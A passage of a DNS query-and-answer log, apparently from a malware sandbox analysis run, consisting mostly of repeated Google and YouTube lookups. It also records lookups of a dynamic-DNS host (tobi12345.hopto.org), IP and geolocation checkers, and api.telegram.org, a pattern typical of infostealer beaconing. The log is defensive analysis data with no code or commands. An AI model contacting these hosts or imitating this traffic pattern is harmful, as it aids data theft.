Sep 13, 2021 06:30:17.025871038 CEST	192.168.2.5	8.8.8.8	0x14ff	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:17.148044109 CEST	192.168.2.5	8.8.8.8	0xfd78	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:17.253135920 CEST	192.168.2.5	8.8.8.8	0xdd7a	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:19.485994101 CEST	192.168.2.5	8.8.8.8	0x23a7	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:19.514158010 CEST	192.168.2.5	8.8.8.8	0xcc8c	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:19.616614103 CEST	192.168.2.5	8.8.8.8	0x1f	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:19.650311947 CEST	192.168.2.5	8.8.8.8	0x26cc	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:20.723664999 CEST	192.168.2.5	8.8.8.8	0xd655	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:20.754981995 CEST	192.168.2.5	8.8.8.8	0x8576	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:20.836435080 CEST	192.168.2.5	8.8.8.8	0x8984	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:20.878417015 CEST	192.168.2.5	8.8.8.8	0x77eb	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:21.956305981 CEST	192.168.2.5	8.8.8.8	0x309	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:21.997777939 CEST	192.168.2.5	8.8.8.8	0xa2f5	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:22.066303968 CEST	192.168.2.5	8.8.8.8	0x1408	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:22.111704111 CEST	192.168.2.5	8.8.8.8	0xfd42	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:23.185120106 CEST	192.168.2.5	8.8.8.8	0x4466	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:23.231888056 CEST	192.168.2.5	8.8.8.8	0xf862	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:23.315959930 CEST	192.168.2.5	8.8.8.8	0x8d8f	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:23.361285925 CEST	192.168.2.5	8.8.8.8	0x7cfd	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:24.436763048 CEST	192.168.2.5	8.8.8.8	0x6d1a	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:24.464550018 CEST	192.168.2.5	8.8.8.8	0x696f	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:24.530355930 CEST	192.168.2.5	8.8.8.8	0x5459	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:24.576915979 CEST	192.168.2.5	8.8.8.8	0xe157	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:25.678458929 CEST	192.168.2.5	8.8.8.8	0xdce4	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:25.720906019 CEST	192.168.2.5	8.8.8.8	0x4865	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:25.827101946 CEST	192.168.2.5	8.8.8.8	0x3946	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:25.871449947 CEST	192.168.2.5	8.8.8.8	0xb329	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:26.946223974 CEST	192.168.2.5	8.8.8.8	0x1207	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:26.977428913 CEST	192.168.2.5	8.8.8.8	0xe8d7	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:27.071995974 CEST	192.168.2.5	8.8.8.8	0xc74e	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:27.105798960 CEST	192.168.2.5	8.8.8.8	0x6e86	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:28.172518015 CEST	192.168.2.5	8.8.8.8	0x2715	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:28.212548971 CEST	192.168.2.5	8.8.8.8	0x6154	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:28.308387995 CEST	192.168.2.5	8.8.8.8	0x89ce	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:28.343619108 CEST	192.168.2.5	8.8.8.8	0xc603	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:29.397964954 CEST	192.168.2.5	8.8.8.8	0xb457	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:29.434437990 CEST	192.168.2.5	8.8.8.8	0x4d99	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:29.528681993 CEST	192.168.2.5	8.8.8.8	0xd9d2	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:29.567954063 CEST	192.168.2.5	8.8.8.8	0x9e65	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:30.624581099 CEST	192.168.2.5	8.8.8.8	0x465a	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:30.661755085 CEST	192.168.2.5	8.8.8.8	0x7010	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:30.730715036 CEST	192.168.2.5	8.8.8.8	0x408d	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:30.764919043 CEST	192.168.2.5	8.8.8.8	0xb17a	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:31.838839054 CEST	192.168.2.5	8.8.8.8	0xbbfe	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:31.872478962 CEST	192.168.2.5	8.8.8.8	0x4d81	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:31.938738108 CEST	192.168.2.5	8.8.8.8	0x6acb	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:31.979809999 CEST	192.168.2.5	8.8.8.8	0xe3ab	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:33.039943933 CEST	192.168.2.5	8.8.8.8	0xa405	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:33.074810028 CEST	192.168.2.5	8.8.8.8	0x7c7f	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:33.141463995 CEST	192.168.2.5	8.8.8.8	0xa963	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:33.184168100 CEST	192.168.2.5	8.8.8.8	0xe44d	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:34.244959116 CEST	192.168.2.5	8.8.8.8	0xa2ab	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:34.287139893 CEST	192.168.2.5	8.8.8.8	0x68a9	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:34.359277010 CEST	192.168.2.5	8.8.8.8	0xf9c9	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:34.401578903 CEST	192.168.2.5	8.8.8.8	0xdb34	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:35.474236012 CEST	192.168.2.5	8.8.8.8	0x7099	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:35.509249926 CEST	192.168.2.5	8.8.8.8	0xc179	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:35.609011889 CEST	192.168.2.5	8.8.8.8	0x673c	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:35.640058994 CEST	192.168.2.5	8.8.8.8	0x9370	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:36.703289986 CEST	192.168.2.5	8.8.8.8	0xf5c1	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:36.735672951 CEST	192.168.2.5	8.8.8.8	0x5dfb	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:36.829845905 CEST	192.168.2.5	8.8.8.8	0xe74a	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:36.869812965 CEST	192.168.2.5	8.8.8.8	0x48df	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:37.937654018 CEST	192.168.2.5	8.8.8.8	0x26a	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:37.969114065 CEST	192.168.2.5	8.8.8.8	0xb3ce	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:38.062519073 CEST	192.168.2.5	8.8.8.8	0xea83	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:38.093662024 CEST	192.168.2.5	8.8.8.8	0xb3a3	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:39.156078100 CEST	192.168.2.5	8.8.8.8	0xb99e	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:39.186532974 CEST	192.168.2.5	8.8.8.8	0x7ec	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:39.282780886 CEST	192.168.2.5	8.8.8.8	0x609b	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:39.316947937 CEST	192.168.2.5	8.8.8.8	0xbd19	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:40.378281116 CEST	192.168.2.5	8.8.8.8	0xcdaa	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:40.406537056 CEST	192.168.2.5	8.8.8.8	0x9c16	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:40.469342947 CEST	192.168.2.5	8.8.8.8	0x8b92	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:40.505026102 CEST	192.168.2.5	8.8.8.8	0x682f	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:41.572860003 CEST	192.168.2.5	8.8.8.8	0xc4a6	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:41.600373983 CEST	192.168.2.5	8.8.8.8	0x29b1	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:41.675224066 CEST	192.168.2.5	8.8.8.8	0x3195	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:41.706032038 CEST	192.168.2.5	8.8.8.8	0x1d3a	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:42.764756918 CEST	192.168.2.5	8.8.8.8	0x6eec	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:42.795273066 CEST	192.168.2.5	8.8.8.8	0x3e13	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:42.867983103 CEST	192.168.2.5	8.8.8.8	0x5c7b	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:42.898778915 CEST	192.168.2.5	8.8.8.8	0x842e	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:43.972841024 CEST	192.168.2.5	8.8.8.8	0x4d9b	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:44.002675056 CEST	192.168.2.5	8.8.8.8	0x6922	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:44.070255995 CEST	192.168.2.5	8.8.8.8	0x73f4	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:44.120554924 CEST	192.168.2.5	8.8.8.8	0x70f4	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:31:29.237931013 CEST	192.168.2.5	8.8.8.8	0x3604	Standard query (0)	tobi12345.hopto.org	A (IP address)	IN (0x0001)
Sep 13, 2021 06:31:43.254180908 CEST	192.168.2.5	8.8.8.8	0xc4a4	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)
Sep 13, 2021 06:31:43.314052105 CEST	192.168.2.5	8.8.8.8	0x5e62	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)
Sep 13, 2021 06:31:46.452917099 CEST	192.168.2.5	8.8.8.8	0xdabe	Standard query (0)	freegeoip.app	A (IP address)	IN (0x0001)
Sep 13, 2021 06:31:59.454987049 CEST	192.168.2.5	8.8.8.8	0xe8f7	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Sep 13, 2021 06:30:13.566392899 CEST	8.8.8.8	192.168.2.5	0xde1d	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:13.603071928 CEST	8.8.8.8	192.168.2.5	0x4074	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:14.078727961 CEST	8.8.8.8	192.168.2.5	0xb6f3	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:14.534738064 CEST	8.8.8.8	192.168.2.5	0x55be	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:15.674921036 CEST	8.8.8.8	192.168.2.5	0x380c	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:15.741435051 CEST	8.8.8.8	192.168.2.5	0x852	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:15.913578033 CEST	8.8.8.8	192.168.2.5	0xa0b0	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:15.947536945 CEST	8.8.8.8	192.168.2.5	0xc71f	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:17.023387909 CEST	8.8.8.8	192.168.2.5	0x41a4	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:17.062602043 CEST	8.8.8.8	192.168.2.5	0x14ff	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:17.175785065 CEST	8.8.8.8	192.168.2.5	0xfd78	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:17.283925056 CEST	8.8.8.8	192.168.2.5	0xdd7a	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:19.510647058 CEST	8.8.8.8	192.168.2.5	0x23a7	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:19.549777985 CEST	8.8.8.8	192.168.2.5	0xcc8c	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:19.644399881 CEST	8.8.8.8	192.168.2.5	0x1f	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:19.674988031 CEST	8.8.8.8	192.168.2.5	0x26cc	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:20.751204014 CEST	8.8.8.8	192.168.2.5	0xd655	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:20.751204014 CEST	8.8.8.8	192.168.2.5	0xd655	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:20.751204014 CEST	8.8.8.8	192.168.2.5	0xd655	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:20.751204014 CEST	8.8.8.8	192.168.2.5	0xd655	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:20.751204014 CEST	8.8.8.8	192.168.2.5	0xd655	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:20.789928913 CEST	8.8.8.8	192.168.2.5	0x8576	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:20.789928913 CEST	8.8.8.8	192.168.2.5	0x8576	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:20.789928913 CEST	8.8.8.8	192.168.2.5	0x8576	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:20.789928913 CEST	8.8.8.8	192.168.2.5	0x8576	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:20.789928913 CEST	8.8.8.8	192.168.2.5	0x8576	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:20.869167089 CEST	8.8.8.8	192.168.2.5	0x8984	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:20.869167089 CEST	8.8.8.8	192.168.2.5	0x8984	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:20.869167089 CEST	8.8.8.8	192.168.2.5	0x8984	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:20.869167089 CEST	8.8.8.8	192.168.2.5	0x8984	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:20.869167089 CEST	8.8.8.8	192.168.2.5	0x8984	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:20.911195993 CEST	8.8.8.8	192.168.2.5	0x77eb	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:20.911195993 CEST	8.8.8.8	192.168.2.5	0x77eb	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:20.911195993 CEST	8.8.8.8	192.168.2.5	0x77eb	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:20.911195993 CEST	8.8.8.8	192.168.2.5	0x77eb	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:20.911195993 CEST	8.8.8.8	192.168.2.5	0x77eb	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:21.993246078 CEST	8.8.8.8	192.168.2.5	0x309	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:21.993246078 CEST	8.8.8.8	192.168.2.5	0x309	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:21.993246078 CEST	8.8.8.8	192.168.2.5	0x309	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:21.993246078 CEST	8.8.8.8	192.168.2.5	0x309	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:21.993246078 CEST	8.8.8.8	192.168.2.5	0x309	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:22.023057938 CEST	8.8.8.8	192.168.2.5	0xa2f5	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:22.023057938 CEST	8.8.8.8	192.168.2.5	0xa2f5	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:22.023057938 CEST	8.8.8.8	192.168.2.5	0xa2f5	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:22.023057938 CEST	8.8.8.8	192.168.2.5	0xa2f5	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:22.023057938 CEST	8.8.8.8	192.168.2.5	0xa2f5	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:22.099473000 CEST	8.8.8.8	192.168.2.5	0x1408	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:22.099473000 CEST	8.8.8.8	192.168.2.5	0x1408	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:22.099473000 CEST	8.8.8.8	192.168.2.5	0x1408	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:22.099473000 CEST	8.8.8.8	192.168.2.5	0x1408	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:22.099473000 CEST	8.8.8.8	192.168.2.5	0x1408	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:22.144267082 CEST	8.8.8.8	192.168.2.5	0xfd42	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:22.144267082 CEST	8.8.8.8	192.168.2.5	0xfd42	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:22.144267082 CEST	8.8.8.8	192.168.2.5	0xfd42	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:22.144267082 CEST	8.8.8.8	192.168.2.5	0xfd42	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:22.144267082 CEST	8.8.8.8	192.168.2.5	0xfd42	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:23.219252110 CEST	8.8.8.8	192.168.2.5	0x4466	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:23.219252110 CEST	8.8.8.8	192.168.2.5	0x4466	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:23.219252110 CEST	8.8.8.8	192.168.2.5	0x4466	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:23.219252110 CEST	8.8.8.8	192.168.2.5	0x4466	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:23.219252110 CEST	8.8.8.8	192.168.2.5	0x4466	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:23.268153906 CEST	8.8.8.8	192.168.2.5	0xf862	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:23.268153906 CEST	8.8.8.8	192.168.2.5	0xf862	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:23.268153906 CEST	8.8.8.8	192.168.2.5	0xf862	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:23.268153906 CEST	8.8.8.8	192.168.2.5	0xf862	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:23.268153906 CEST	8.8.8.8	192.168.2.5	0xf862	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:23.349200010 CEST	8.8.8.8	192.168.2.5	0x8d8f	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:23.349200010 CEST	8.8.8.8	192.168.2.5	0x8d8f	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:23.349200010 CEST	8.8.8.8	192.168.2.5	0x8d8f	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:23.349200010 CEST	8.8.8.8	192.168.2.5	0x8d8f	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:23.349200010 CEST	8.8.8.8	192.168.2.5	0x8d8f	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:23.394889116 CEST	8.8.8.8	192.168.2.5	0x7cfd	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:23.394889116 CEST	8.8.8.8	192.168.2.5	0x7cfd	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:23.394889116 CEST	8.8.8.8	192.168.2.5	0x7cfd	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:23.394889116 CEST	8.8.8.8	192.168.2.5	0x7cfd	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:23.394889116 CEST	8.8.8.8	192.168.2.5	0x7cfd	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:24.461488962 CEST	8.8.8.8	192.168.2.5	0x6d1a	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:24.461488962 CEST	8.8.8.8	192.168.2.5	0x6d1a	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:24.461488962 CEST	8.8.8.8	192.168.2.5	0x6d1a	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:24.461488962 CEST	8.8.8.8	192.168.2.5	0x6d1a	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:24.461488962 CEST	8.8.8.8	192.168.2.5	0x6d1a	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:24.492667913 CEST	8.8.8.8	192.168.2.5	0x696f	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:24.492667913 CEST	8.8.8.8	192.168.2.5	0x696f	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:24.492667913 CEST	8.8.8.8	192.168.2.5	0x696f	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:24.492667913 CEST	8.8.8.8	192.168.2.5	0x696f	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:24.492667913 CEST	8.8.8.8	192.168.2.5	0x696f	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:24.566005945 CEST	8.8.8.8	192.168.2.5	0x5459	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:24.566005945 CEST	8.8.8.8	192.168.2.5	0x5459	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:24.566005945 CEST	8.8.8.8	192.168.2.5	0x5459	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
